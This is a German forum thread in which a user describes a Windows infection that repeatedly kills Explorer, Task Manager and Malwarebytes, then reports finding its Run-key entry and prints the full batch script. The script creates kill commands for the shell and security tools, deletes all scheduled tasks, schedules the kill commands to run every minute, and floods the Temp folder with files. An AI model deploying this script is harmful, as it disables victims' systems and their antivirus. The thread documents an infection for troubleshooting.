Hallo, mindestens einmal die Minute ploppen bei mir mehrere Kommandozeilenfenster auf mit dem Titel C:\WINDOWS\System32\svchost.exe und dem Kommando Taskkill /f /IM *
Für * stehen dort jeweils andere Programme, z. B. cmd.exe, explorer.exe, taskmgr oder mbam.exe

command.com ließ sich zum Glück ausführen, habe direkt firefox.exe in firebird.exe und Malewarebytes mbam.exe in mbam1.exe umbenannt, so funktionieren sie wenigstens. GMER und Malewarebytes Scans folgen

Hier kommt der MBAM-Log

Und der Gmer-Log. Noch kein Ergebnis, HILFE!!!

Kann mir denn keiner helfen? Das mit den schwarzen Fenstern nervt, die kommen immer wieder und ich habe immer noch keine Taskleiste, keinen Desktop und muss immer mit Alt-Tab auf COMMAND.COM switchen, um ein Programm zu starten...

Ich habe das Problem gefunden!

Im HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ hatte sich doch eiskalt ein Schlüssel mit dem Namen "Default" und dem Wert "0*(0x000000)***************************************************************************************************************************************** *********************************.bat", also statt "*" war dort ein Alt-255-Leerzeichen, eingeschlichen, habe nach dieser Datei gesucht, sie war in C:\Windows\system32 und zwar ein Batch-Script mit folgendem Inhalt, scheint ein sehr billiger Dropper gewesen zu sein, gelöscht, Gefahr erkannt, Gefahr gebannt!

@echo off
Echo Taskkill /f /IM Explorer.exe > PresentationFontCache.cmd
Echo Taskkill /f /IM Iexplore.exe > appwiz.cmd
Echo Taskkill /f /IM mbam.exe > command.cmd
Echo Taskkill /f /IM cmd.exe > rundll32.cmd
Echo Taskkill /f /IM firefox.exe > svchost.cmd
Echo Taskkill /f /IM taskmgr > lsass.cmd
Echo Taskkill /f /IM powershell.exe > win32.cmd
Echo Taskkill /f /IM regedit.exe > crss.cmd
Echo j | Schtasks /Delete *
For %%i in ( PresentationFontCache appwiz command rundll32 svchost win32 lsass crss ) Do More passwd.catched | Schtasks /Create /TR %%i.cmd /TN %%i /SC Minute /MO 1
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk